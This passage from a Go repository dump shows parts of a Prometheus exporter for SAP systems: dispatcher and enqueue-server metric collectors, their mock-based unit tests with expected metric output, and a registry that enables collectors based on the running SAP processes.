Collector scrape failed: %s", err) 42 | return 43 | } 44 | } 45 | 46 | func (c *dispatcherCollector) recordWorkProcessQueueStats(ch chan<- prometheus.Metric) error { 47 | queueStatistic, err := c.webService.GetQueueStatistic() 48 | if err != nil { 49 | return errors.Wrap(err, "SAPControl web service error") 50 | } 51 | 52 | currentSapInstance, err := c.webService.GetCurrentInstance() 53 | if err != nil { 54 | return errors.Wrap(err, "SAPControl web service error") 55 | } 56 | 57 | commonLabels := []string{ 58 | currentSapInstance.Name, 59 | strconv.Itoa(int(currentSapInstance.Number)), 60 | currentSapInstance.SID, 61 | currentSapInstance.Hostname, 62 | } 63 | 64 | // for each work queue, we record a different line for each stat of that queue, with the type as a common label 65 | for _, queue := range queueStatistic.Queues { 66 | labels := append([]string{queue.Type}, commonLabels...) 67 | ch <- c.MakeGaugeMetric("queue_now", float64(queue.Now), labels...) 68 | ch <- c.MakeCounterMetric("queue_high", float64(queue.High), labels...) 69 | ch <- c.MakeGaugeMetric("queue_max", float64(queue.Max), labels...) 70 | ch <- c.MakeCounterMetric("queue_writes", float64(queue.Writes), labels...) 71 | ch <- c.MakeCounterMetric("queue_reads", float64(queue.Reads), labels...) 72 | } 73 | 74 | return nil 75 | } 76 | -------------------------------------------------------------------------------- /collector/dispatcher/dispatcher_test.go: -------------------------------------------------------------------------------- 1 | package dispatcher 2 | 3 | import ( 4 | "strings" 5 | "testing" 6 | 7 | "github.com/golang/mock/gomock" 8 | "github.com/prometheus/client_golang/prometheus/testutil" 9 | "github.com/stretchr/testify/assert" 10 | 11 | "github.com/writhingretr/sap_host_exporter/lib/sapcontrol" 12 | "github.com/writhingretr/sap_host_exporter/test/mock_sapcontrol" 13 | ) 14 | 15 | func TestNewCollector(t *testing.T) { 16 | ctrl := gomock.NewController(t) 17 | defer ctrl.Finish() 18 | mockWebService := mock_sapcontrol.NewMockWebService(ctrl) 19 | 20 | _, err := NewCollector(mockWebService) 21 | 22 | assert.Nil(t, err) 23 | } 24 | 25 | func TestWorkProcessQueueStatsMetric(t *testing.T) { 26 | ctrl := gomock.NewController(t) 27 | defer ctrl.Finish() 28 | 29 | mockWebService := mock_sapcontrol.NewMockWebService(ctrl) 30 | mockWebService.EXPECT().GetQueueStatistic().Return(&sapcontrol.GetQueueStatisticResponse{ 31 | Queues: []*sapcontrol.TaskHandlerQueue{ 32 | {Type: "ABAP/NOWP", High: 3, Max: 14000, Writes: 249133, Reads: 249133}, 33 | {Type: "ABAP/DIA", High: 5, Max: 14000, Writes: 447173, Reads: 447173}, 34 | {Type: "ABAP/UPD", High: 2, Max: 14000, Writes: 3491, Reads: 3491}, 35 | {Type: "ABAP/ENQ", Max: 14000}, 36 | {Type: "ABAP/BTC", High: 2, Max: 14000, Writes: 10464, Reads: 10464}, 37 | {Type: "ABAP/SPO", High: 1, Max: 14000, Writes: 38366, Reads: 38366}, 38 | {Type: "ABAP/UP2", High: 1, Max: 14000, Writes: 3488, Reads: 3488}, 39 | {Type: "ICM/Intern", High: 1, Max: 6000, Writes: 34877, Reads: 34877}, 40 | }, 41 | }, nil) 42 | mockWebService.EXPECT().GetCurrentInstance().Return(&sapcontrol.CurrentSapInstance{ 43 | SID: "HA1", 44 | Number: 0, 45 | Name: "ASCS", 46 | Hostname: "sapha1as", 47 | }, nil) 48 | 49 | expectedMetrics := ` 50 | # HELP sap_dispatcher_queue_high Work process peak queue length 51 | # TYPE sap_dispatcher_queue_high counter 52 | sap_dispatcher_queue_high{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/BTC"} 2 53 | sap_dispatcher_queue_high{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/DIA"} 5 54 | sap_dispatcher_queue_high{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/ENQ"} 0 55 | sap_dispatcher_queue_high{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/NOWP"} 3 56 | sap_dispatcher_queue_high{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/SPO"} 1 57 | sap_dispatcher_queue_high{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/UP2"} 1 58 | sap_dispatcher_queue_high{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/UPD"} 2 59 | sap_dispatcher_queue_high{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ICM/Intern"} 1 60 | # HELP sap_dispatcher_queue_max Work process maximum queue length 61 | # TYPE sap_dispatcher_queue_max gauge 62 | sap_dispatcher_queue_max{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/BTC"} 14000 63 | sap_dispatcher_queue_max{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/DIA"} 14000 64 | sap_dispatcher_queue_max{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/ENQ"} 14000 65 | sap_dispatcher_queue_max{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/NOWP"} 14000 66 | sap_dispatcher_queue_max{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/SPO"} 14000 67 | sap_dispatcher_queue_max{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/UP2"} 14000 68 | sap_dispatcher_queue_max{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/UPD"} 14000 69 | sap_dispatcher_queue_max{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ICM/Intern"} 6000 70 | # HELP sap_dispatcher_queue_now Work process current queue length 71 | # TYPE sap_dispatcher_queue_now gauge 72 | sap_dispatcher_queue_now{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/BTC"} 0 73 | sap_dispatcher_queue_now{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/DIA"} 0 74 | sap_dispatcher_queue_now{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/ENQ"} 0 75 | sap_dispatcher_queue_now{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/NOWP"} 0 76 | sap_dispatcher_queue_now{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/SPO"} 0 77 | sap_dispatcher_queue_now{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/UP2"} 0 78 | sap_dispatcher_queue_now{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/UPD"} 0 79 | sap_dispatcher_queue_now{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ICM/Intern"} 0 80 | # HELP sap_dispatcher_queue_reads Work process queue reads 81 | # TYPE sap_dispatcher_queue_reads counter 82 | sap_dispatcher_queue_reads{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/BTC"} 10464 83 | sap_dispatcher_queue_reads{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/DIA"} 447173 84 | sap_dispatcher_queue_reads{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/ENQ"} 0 85 | sap_dispatcher_queue_reads{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/NOWP"} 249133 86 | sap_dispatcher_queue_reads{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/SPO"} 38366 87 | sap_dispatcher_queue_reads{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/UP2"} 3488 88 | sap_dispatcher_queue_reads{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/UPD"} 3491 89 | sap_dispatcher_queue_reads{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ICM/Intern"} 34877 90 | # HELP sap_dispatcher_queue_writes Work process queue writes 91 | # TYPE sap_dispatcher_queue_writes counter 92 | sap_dispatcher_queue_writes{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/BTC"} 10464 93 | sap_dispatcher_queue_writes{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/DIA"} 447173 94 | sap_dispatcher_queue_writes{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/ENQ"} 0 95 | sap_dispatcher_queue_writes{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/NOWP"} 249133 96 | sap_dispatcher_queue_writes{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/SPO"} 38366 97 | sap_dispatcher_queue_writes{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/UP2"} 3488 98 | sap_dispatcher_queue_writes{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ABAP/UPD"} 3491 99 | sap_dispatcher_queue_writes{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",type="ICM/Intern"} 34877 100 | ` 101 | 102 | var err error 103 | collector, err := NewCollector(mockWebService) 104 | assert.NoError(t, err) 105 | 106 | err = testutil.CollectAndCompare(collector, strings.NewReader(expectedMetrics)) 107 | assert.NoError(t, err) 108 | } 109 | 110 | func TestWorkProcessQueueStatsMetricWithEmptyData(t *testing.T) { 111 | ctrl := gomock.NewController(t) 112 | defer ctrl.Finish() 113 | 114 | mockWebService := mock_sapcontrol.NewMockWebService(ctrl) 115 | mockWebService.EXPECT().GetQueueStatistic().Return(&sapcontrol.GetQueueStatisticResponse{}, nil) 116 | mockWebService.EXPECT().GetCurrentInstance().Return(&sapcontrol.CurrentSapInstance{}, nil) 117 | 118 | var err error 119 | collector, err := NewCollector(mockWebService) 120 | assert.NoError(t, err) 121 | 122 | err = testutil.CollectAndCompare(collector, strings.NewReader("")) 123 | assert.NoError(t, err) 124 | } 125 | -------------------------------------------------------------------------------- /collector/enqueue_server/enqueue_server.go: -------------------------------------------------------------------------------- 1 | package enqueue_server 2 | 3 | import ( 4 | "strconv" 5 | 6 | "github.com/pkg/errors" 7 | log "github.com/sirupsen/logrus" 8 | 9 | "github.com/prometheus/client_golang/prometheus" 10 | 11 | "github.com/writhingretr/sap_host_exporter/collector" 12 | "github.com/writhingretr/sap_host_exporter/lib/sapcontrol" 13 | ) 14 | 15 | func NewCollector(webService sapcontrol.WebService) (*enqueueServerCollector, error) { 16 | 17 | c := &enqueueServerCollector{ 18 | collector.NewDefaultCollector("enqueue_server"), 19 | webService, 20 | } 21 | 22 | c.SetDescriptor("owner_now", "Current number of lock owners in the lock table", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 23 | c.SetDescriptor("owner_high", "Peak number of lock owners that have been stored simultaneously in the lock table", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 24 | c.SetDescriptor("owner_max", "Maximum number of lock owner IDs that can be stored in the lock table", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 25 | c.SetDescriptor("owner_state", "General state of lock owners", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 26 | c.SetDescriptor("arguments_now", "Current number of lock arguments in the lock table", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 27 | c.SetDescriptor("arguments_high", "Peak number of lock arguments that have been stored simultaneously in the lock table", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 28 | c.SetDescriptor("arguments_max", "Maximum number of lock arguments that can be stored in the lock table", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 29 | c.SetDescriptor("arguments_state", "General state of lock arguments", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 30 | c.SetDescriptor("locks_now", "Current number of elementary locks in the lock table", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 31 | c.SetDescriptor("locks_high", "Peak number of elementary locks that have been stored simultaneously in the lock table", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 32 | c.SetDescriptor("locks_max", "Maximum number of elementary locks that can be stored in the lock table", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 33 | c.SetDescriptor("locks_state", "General state of elementary locks", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 34 | c.SetDescriptor("enqueue_requests", "Lock acquisition requests", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 35 | c.SetDescriptor("enqueue_rejects", "Rejected lock requests", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 36 | c.SetDescriptor("enqueue_errors", "Lock acquisition errors", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 37 | c.SetDescriptor("dequeue_requests", "Lock release requests", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 38 | c.SetDescriptor("dequeue_errors", "Lock release errors", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 39 | c.SetDescriptor("dequeue_all_requests", "Requests to release of all the locks of an LUW", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 40 | c.SetDescriptor("cleanup_requests", "Requests to release of all the locks of an application server", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 41 | c.SetDescriptor("backup_requests", "Number of requests forwarded to the update process", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 42 | c.SetDescriptor("reporting_requests", "Number of reading operations on the lock table", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 43 | c.SetDescriptor("compress_requests", "Internal use", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 44 | c.SetDescriptor("verify_requests", "Internal use", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 45 | c.SetDescriptor("lock_time", "Total time spent in lock operations", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 46 | c.SetDescriptor("lock_wait_time", "Total waiting time of all work processes for accessing lock table", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 47 | c.SetDescriptor("server_time", "Total time spent in lock operations by all processes in the enqueue server", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 48 | c.SetDescriptor("replication_state", "General state of lock server replication", []string{"instance_name", "instance_number", "SID", "instance_hostname"}) 49 | 50 | return c, nil 51 | } 52 | 53 | type enqueueServerCollector struct { 54 | collector.DefaultCollector 55 | webService sapcontrol.WebService 56 | } 57 | 58 | func (c *enqueueServerCollector) Collect(ch chan<- prometheus.Metric) { 59 | log.Debugln("Collecting Enqueue Server metrics") 60 | 61 | err := c.recordEnqStats(ch) 62 | if err != nil { 63 | log.Warnf("Enqueue Server Collector scrape failed: %s", err) 64 | } 65 | } 66 | 67 | func (c *enqueueServerCollector) recordEnqStats(ch chan<- prometheus.Metric) error { 68 | enqStatistic, err := c.webService.EnqGetStatistic() 69 | if err != nil { 70 | return errors.Wrap(err, "SAPControl web service error") 71 | } 72 | 73 | currentSapInstance, err := c.webService.GetCurrentInstance() 74 | if err != nil { 75 | return errors.Wrap(err, "SAPControl web service error") 76 | } 77 | 78 | labels := []string{ 79 | currentSapInstance.Name, 80 | strconv.Itoa(int(currentSapInstance.Number)), 81 | currentSapInstance.SID, 82 | currentSapInstance.Hostname, 83 | } 84 | 85 | ch <- c.MakeGaugeMetric("owner_now", float64(enqStatistic.OwnerNow), labels...) 86 | ch <- c.MakeCounterMetric("owner_high", float64(enqStatistic.OwnerHigh), labels...) 87 | ch <- c.MakeGaugeMetric("owner_max", float64(enqStatistic.OwnerMax), labels...) 88 | 89 | ownerState, err := sapcontrol.StateColorToFloat(enqStatistic.OwnerState) 90 | if err != nil { 91 | log.Warnf("Could not record owner_state metric: %s", err) 92 | } else { 93 | ch <- c.MakeGaugeMetric("owner_state", ownerState, labels...) 94 | } 95 | 96 | ch <- c.MakeGaugeMetric("arguments_now", float64(enqStatistic.ArgumentsNow), labels...) 97 | ch <- c.MakeCounterMetric("arguments_high", float64(enqStatistic.ArgumentsHigh), labels...) 98 | ch <- c.MakeGaugeMetric("arguments_max", float64(enqStatistic.ArgumentsMax), labels...) 99 | 100 | argumentsState, err := sapcontrol.StateColorToFloat(enqStatistic.ArgumentsState) 101 | if err != nil { 102 | log.Warnf("Could not record arguments_state metric: %s", err) 103 | } else { 104 | ch <- c.MakeGaugeMetric("arguments_state", argumentsState, labels...) 105 | } 106 | 107 | ch <- c.MakeGaugeMetric("locks_now", float64(enqStatistic.LocksNow), labels...) 108 | ch <- c.MakeCounterMetric("locks_high", float64(enqStatistic.LocksHigh), labels...) 109 | ch <- c.MakeGaugeMetric("locks_max", float64(enqStatistic.LocksMax), labels...) 110 | 111 | locksState, err := sapcontrol.StateColorToFloat(enqStatistic.LocksState) 112 | if err != nil { 113 | log.Warnf("Could not record locks_state metric: %s", err) 114 | } else { 115 | ch <- c.MakeGaugeMetric("locks_state", locksState, labels...) 116 | } 117 | 118 | ch <- c.MakeCounterMetric("enqueue_requests", float64(enqStatistic.EnqueueRequests), labels...) 119 | ch <- c.MakeCounterMetric("enqueue_rejects", float64(enqStatistic.EnqueueRejects), labels...) 120 | ch <- c.MakeCounterMetric("enqueue_errors", float64(enqStatistic.EnqueueErrors), labels...) 121 | 122 | ch <- c.MakeCounterMetric("dequeue_requests", float64(enqStatistic.DequeueRequests), labels...) 123 | ch <- c.MakeCounterMetric("dequeue_errors", float64(enqStatistic.DequeueErrors), labels...) 124 | ch <- c.MakeCounterMetric("dequeue_all_requests", float64(enqStatistic.DequeueAllRequests), labels...) 125 | 126 | ch <- c.MakeCounterMetric("cleanup_requests", float64(enqStatistic.CleanupRequests), labels...) 127 | ch <- c.MakeCounterMetric("backup_requests", float64(enqStatistic.BackupRequests), labels...) 128 | ch <- c.MakeCounterMetric("reporting_requests", float64(enqStatistic.ReportingRequests), labels...) 129 | ch <- c.MakeCounterMetric("compress_requests", float64(enqStatistic.CompressRequests), labels...) 130 | ch <- c.MakeCounterMetric("verify_requests", float64(enqStatistic.VerifyRequests), labels...) 131 | 132 | ch <- c.MakeCounterMetric("lock_time", enqStatistic.LockTime, labels...) 133 | ch <- c.MakeCounterMetric("lock_wait_time", enqStatistic.LockWaitTime, labels...) 134 | ch <- c.MakeCounterMetric("server_time", enqStatistic.ServerTime, labels...) 135 | 136 | replicationState, err := sapcontrol.StateColorToFloat(enqStatistic.ReplicationState) 137 | if err != nil { 138 | log.Warnf("Could not record replication_state metric: %s", err) 139 | } else { 140 | ch <- c.MakeGaugeMetric("replication_state", replicationState, labels...) 141 | } 142 | 143 | return nil 144 | } 145 | -------------------------------------------------------------------------------- /collector/enqueue_server/enqueue_server_test.go: -------------------------------------------------------------------------------- 1 | package enqueue_server 2 | 3 | import ( 4 | "strings" 5 | "testing" 6 | 7 | "github.com/golang/mock/gomock" 8 | "github.com/prometheus/client_golang/prometheus/testutil" 9 | "github.com/stretchr/testify/assert" 10 | 11 | "github.com/writhingretr/sap_host_exporter/lib/sapcontrol" 12 | "github.com/writhingretr/sap_host_exporter/test/mock_sapcontrol" 13 | ) 14 | 15 | func TestNewCollector(t *testing.T) { 16 | ctrl := gomock.NewController(t) 17 | defer ctrl.Finish() 18 | mockWebService := mock_sapcontrol.NewMockWebService(ctrl) 19 | 20 | _, err := NewCollector(mockWebService) 21 | 22 | assert.Nil(t, err) 23 | } 24 | 25 | func TestEnqueueServerMetrics(t *testing.T) { 26 | ctrl := gomock.NewController(t) 27 | defer ctrl.Finish() 28 | 29 | mockWebService := mock_sapcontrol.NewMockWebService(ctrl) 30 | mockWebService.EXPECT().EnqGetStatistic().Return(&sapcontrol.EnqGetStatisticResponse{ 31 | OwnerNow: 1, 32 | OwnerHigh: 2, 33 | OwnerMax: 3, 34 | OwnerState: sapcontrol.STATECOLOR_GREEN, 35 | ArgumentsNow: 4, 36 | ArgumentsHigh: 5, 37 | ArgumentsMax: 6, 38 | ArgumentsState: sapcontrol.STATECOLOR_GRAY, 39 | LocksNow: 7, 40 | LocksHigh: 8, 41 | LocksMax: 9, 42 | LocksState: sapcontrol.STATECOLOR_YELLOW, 43 | EnqueueRequests: 10, 44 | EnqueueRejects: 11, 45 | EnqueueErrors: 12, 46 | DequeueRequests: 13, 47 | DequeueErrors: 14, 48 | DequeueAllRequests: 15, 49 | CleanupRequests: 16, 50 | BackupRequests: 17, 51 | ReportingRequests: 18, 52 | CompressRequests: 19, 53 | VerifyRequests: 20, 54 | LockTime: 21, 55 | LockWaitTime: 22, 56 | ServerTime: 23, 57 | ReplicationState: sapcontrol.STATECOLOR_RED, 58 | }, nil) 59 | mockWebService.EXPECT().GetCurrentInstance().Return(&sapcontrol.CurrentSapInstance{ 60 | SID: "HA1", 61 | Number: 0, 62 | Name: "ASCS", 63 | Hostname: "sapha1as", 64 | }, nil) 65 | 66 | expectedMetrics := ` 67 | # HELP sap_enqueue_server_arguments_high Peak number of lock arguments that have been stored simultaneously in the lock table 68 | # TYPE sap_enqueue_server_arguments_high counter 69 | sap_enqueue_server_arguments_high{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 5 70 | # HELP sap_enqueue_server_arguments_max Maximum number of lock arguments that can be stored in the lock table 71 | # TYPE sap_enqueue_server_arguments_max gauge 72 | sap_enqueue_server_arguments_max{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 6 73 | # HELP sap_enqueue_server_arguments_now Current number of lock arguments in the lock table 74 | # TYPE sap_enqueue_server_arguments_now gauge 75 | sap_enqueue_server_arguments_now{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 4 76 | # HELP sap_enqueue_server_arguments_state General state of lock arguments 77 | # TYPE sap_enqueue_server_arguments_state gauge 78 | sap_enqueue_server_arguments_state{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 1 79 | # HELP sap_enqueue_server_backup_requests Number of requests forwarded to the update process 80 | # TYPE sap_enqueue_server_backup_requests counter 81 | sap_enqueue_server_backup_requests{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 17 82 | # HELP sap_enqueue_server_cleanup_requests Requests to release of all the locks of an application server 83 | # TYPE sap_enqueue_server_cleanup_requests counter 84 | sap_enqueue_server_cleanup_requests{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 16 85 | # HELP sap_enqueue_server_compress_requests Internal use 86 | # TYPE sap_enqueue_server_compress_requests counter 87 | sap_enqueue_server_compress_requests{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 19 88 | # HELP sap_enqueue_server_dequeue_all_requests Requests to release of all the locks of an LUW 89 | # TYPE sap_enqueue_server_dequeue_all_requests counter 90 | sap_enqueue_server_dequeue_all_requests{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 15 91 | # HELP sap_enqueue_server_dequeue_errors Lock release errors 92 | # TYPE sap_enqueue_server_dequeue_errors counter 93 | sap_enqueue_server_dequeue_errors{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 14 94 | # HELP sap_enqueue_server_dequeue_requests Lock release requests 95 | # TYPE sap_enqueue_server_dequeue_requests counter 96 | sap_enqueue_server_dequeue_requests{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 13 97 | # HELP sap_enqueue_server_enqueue_errors Lock acquisition errors 98 | # TYPE sap_enqueue_server_enqueue_errors counter 99 | sap_enqueue_server_enqueue_errors{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 12 100 | # HELP sap_enqueue_server_enqueue_rejects Rejected lock requests 101 | # TYPE sap_enqueue_server_enqueue_rejects counter 102 | sap_enqueue_server_enqueue_rejects{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 11 103 | # HELP sap_enqueue_server_enqueue_requests Lock acquisition requests 104 | # TYPE sap_enqueue_server_enqueue_requests counter 105 | sap_enqueue_server_enqueue_requests{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 10 106 | # HELP sap_enqueue_server_lock_time Total time spent in lock operations 107 | # TYPE sap_enqueue_server_lock_time counter 108 | sap_enqueue_server_lock_time{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 21 109 | # HELP sap_enqueue_server_lock_wait_time Total waiting time of all work processes for accessing lock table 110 | # TYPE sap_enqueue_server_lock_wait_time counter 111 | sap_enqueue_server_lock_wait_time{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 22 112 | # HELP sap_enqueue_server_locks_high Peak number of elementary locks that have been stored simultaneously in the lock table 113 | # TYPE sap_enqueue_server_locks_high counter 114 | sap_enqueue_server_locks_high{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 8 115 | # HELP sap_enqueue_server_locks_max Maximum number of elementary locks that can be stored in the lock table 116 | # TYPE sap_enqueue_server_locks_max gauge 117 | sap_enqueue_server_locks_max{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 9 118 | # HELP sap_enqueue_server_locks_now Current number of elementary locks in the lock table 119 | # TYPE sap_enqueue_server_locks_now gauge 120 | sap_enqueue_server_locks_now{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 7 121 | # HELP sap_enqueue_server_locks_state General state of elementary locks 122 | # TYPE sap_enqueue_server_locks_state gauge 123 | sap_enqueue_server_locks_state{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 3 124 | # HELP sap_enqueue_server_owner_high Peak number of lock owners that have been stored simultaneously in the lock table 125 | # TYPE sap_enqueue_server_owner_high counter 126 | sap_enqueue_server_owner_high{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 2 127 | # HELP sap_enqueue_server_owner_max Maximum number of lock owner IDs that can be stored in the lock table 128 | # TYPE sap_enqueue_server_owner_max gauge 129 | sap_enqueue_server_owner_max{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 3 130 | # HELP sap_enqueue_server_owner_now Current number of lock owners in the lock table 131 | # TYPE sap_enqueue_server_owner_now gauge 132 | sap_enqueue_server_owner_now{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 1 133 | # HELP sap_enqueue_server_owner_state General state of lock owners 134 | # TYPE sap_enqueue_server_owner_state gauge 135 | sap_enqueue_server_owner_state{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 2 136 | # HELP sap_enqueue_server_replication_state General state of lock server replication 137 | # TYPE sap_enqueue_server_replication_state gauge 138 | sap_enqueue_server_replication_state{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 4 139 | # HELP sap_enqueue_server_reporting_requests Number of reading operations on the lock table 140 | # TYPE sap_enqueue_server_reporting_requests counter 141 | sap_enqueue_server_reporting_requests{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 18 142 | # HELP sap_enqueue_server_server_time Total time spent in lock operations by all processes in the enqueue server 143 | # TYPE sap_enqueue_server_server_time counter 144 | sap_enqueue_server_server_time{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 23 145 | # HELP sap_enqueue_server_verify_requests Internal use 146 | # TYPE sap_enqueue_server_verify_requests counter 147 | sap_enqueue_server_verify_requests{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0"} 20 148 | ` 149 | 150 | var err error 151 | collector, err := NewCollector(mockWebService) 152 | assert.NoError(t, err) 153 | 154 | err = testutil.CollectAndCompare(collector, strings.NewReader(expectedMetrics)) 155 | assert.NoError(t, err) 156 | } 157 | -------------------------------------------------------------------------------- /collector/registry/optional_collectors.go: -------------------------------------------------------------------------------- 1 | package registry 2 | 3 | import ( 4 | "strings" 5 | 6 | "github.com/writhingretr/sap_host_exporter/collector/dispatcher" 7 | "github.com/writhingretr/sap_host_exporter/collector/enqueue_server" 8 | "github.com/writhingretr/sap_host_exporter/lib/sapcontrol" 9 | "github.com/pkg/errors" 10 | "github.com/prometheus/client_golang/prometheus" 11 | log "github.com/sirupsen/logrus" 12 | ) 13 | 14 | // RegisterOptionalCollectors register depending on the system where the exporter run the additional collectors 15 | func RegisterOptionalCollectors(webService sapcontrol.WebService) error { 16 | enqueueFound := false 17 | dispatcherFound := false 18 | processList, err := webService.GetProcessList() 19 | if err != nil { 20 | return errors.Wrap(err, "SAPControl web service error") 21 | } 22 | 23 | for _, process := range processList.Processes { 24 | if strings.Contains(process.Name, "msg_server") { 25 | enqueueFound = true 26 | } 27 | if strings.Contains(process.Name, "disp+work") { 28 | dispatcherFound = true 29 | } 30 | if enqueueFound == true && dispatcherFound == true { 31 | break 32 | } 33 | } 34 | // if we found msg_server on process name we register the Enqueue Server 35 | if enqueueFound == true { 36 | enqueueServerCollector, err := enqueue_server.NewCollector(webService) 37 | if err != nil { 38 | return errors.Wrap(err, "error registering Enqueue Server collector") 39 | } else { 40 | prometheus.MustRegister(enqueueServerCollector) 41 | log.Info("Enqueue Server optional collector registered") 42 | } 43 | } 44 | // if we found disp+work on process name we register the dispatcher collector 45 | if dispatcherFound == true { 46 | dispatcherCollector, err := dispatcher.NewCollector(webService) 47 | if err != nil { 48 | return errors.Wrap(err, "error registering Dispatcher collector") 49 | } else { 50 | prometheus.MustRegister(dispatcherCollector) 51 | log.Info("Dispatcher optional collector registered") 52 | } 53 | } 54 | 55 | return nil 56 | } 57 | -------------------------------------------------------------------------------- /collector/registry/optional_collectors_test.go: -------------------------------------------------------------------------------- 1 | package registry 2 | 3 | import 